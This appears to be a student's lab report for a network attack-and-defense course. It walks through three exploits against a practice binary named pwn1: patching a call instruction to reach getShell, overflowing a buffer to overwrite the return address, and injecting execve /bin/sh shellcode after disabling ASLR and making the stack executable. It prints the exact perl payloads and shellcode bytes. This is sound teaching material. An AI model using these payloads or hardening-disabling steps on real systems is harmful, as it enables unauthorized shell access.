20212909 2021-2022-2 《网络攻防实践》第九次作业
20212909 2021-2022-2 《网络攻防实践》第九次作业
一、实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
二、实践过程
-
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1.在kali执行输入命令objdump -d pwn1 | more
,反汇编程序,可以分页查看程序的汇编代码。
2.不停的按回车,找到getshell()、foo()、main()函数代码
3.查看main函数调用foo函数的机器指令
call指令的机器码是e8。而8048491=80484ba+ffffffd7,跳转指令地址等于当前指令地址加上e8后面的偏移地址就是EIP(下一条指令的地址)寄存器的内容,所以要想从main直接跳转到getShell函数,我们只需修改call指令后的地址:由于804847d-80484ba=ffffffc3,所以我们只需要把call指令的目标地址由d7ffffff改为c3ffffff(小端地址)即可。
4.根据3,输入指令cp pwn1 pwn2
先复制一份pwn1为pwn2,用vim打开pwn2,按esc键,然后输入:%!xxd
以16进制查看,输入/e8 d7
查找机器指令,将d7修改为c3,输入:%!xxd -r
,转为原来的编码格式,输入:wq
,保存并退出
5.输入指令objdump -d pwn2
,查看pwn2反汇编后的代码,找到main函数,发现偏移地址已经修改为ffffffc3
6.输入命令./pwn2
执行pwn2,顺利调用shell()函数
-
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1.找到foo函数汇编代码部分lea执行预留了0x1c(hex)=28(dec)个字符空间,同样先复制一份文件为pwn3
2.输入命令gdb pwn3
对pwn3进行调试,输入40个字符1-5各8个,程序出现段错误
3.输入info -r
,查看寄存器信息,EIP寄存器的内容是0x35353535,0x35的ascii码正好是5,说明当输入字符串过长时,第33~36个字节将会覆盖EIP的内容。
4.shell()函数的地址是0x0804847d,有些字符无法输入,所以使用perl语言,使用命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > pwn0_input
生成十六进制字符串文件“input”,然后用(cat pwn0_input; cat) | ./pwn0命令将input作为pwn1的输入,获得shell:
-
注入一个自己制作的shellcode并运行这段shellcode
1.准备工作,输入
execstack -s pwn1
execstack -q pwn1
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
设置堆栈可执行,关闭地址随机化。
2.为了保证注入的shellcode能够顺利运行,我们需要找到程序放置shellcode的地址,首先任意构造一个长度为36个字节的input_shellcode文件,通过gdb调试查找地址。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
3.将input_shellcode注入pwn1,输入(cat input_shellcode;cat) | ./pwn1
4.另外开一个终端,输入命令ps -ef | grep pwn1
,查看pnw1的进程号为2706
5.打开gdb调试代码,输入'attach 2706'
查看pwn1进程;输入:disassemble foo,查看foo()函数的反汇编代码。发现函数返回地址为0x80484ae
6.输入break *0x080484ae
,设置断点,输入c
继续执行命令,同时在输入以后,回到pwn1运行的终端,输入回车来继续运行。
7.输入info r esp
,查看栈顶指针在0xffffd50c处,输入x/16x 0xffffd50c
,可以看到构造的值“01020304”的位置在0xffffd50c。
8.0xffffd50c+0x00000004=0xffffd510。
9.输入perl -e 'print "A" x 32;print "\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
构造新的shell_code。
输入(cat input_shellcode;cat) | ./pwn1
,将input_shellcode注入pwn1。
输入ls
显示文件列表,攻击成功。
三、学习中遇到的难题及解决办法
P1:文件遇到各种权限问题,以及任务三shell_code实验总是失败
Solv1:要将实验材料的压缩包拷到kali里,再解压缩,用在虚拟机里解压缩的实验材料就可以了。
四、实践总结
通过本次实验回顾了一些汇编指令的知识点,通过本次实践,我对shellcode技术和反汇编破解攻击软件有了进一步的认识,同时对于实验过程中出现的错误一定要耐心找原因,才能解决问题。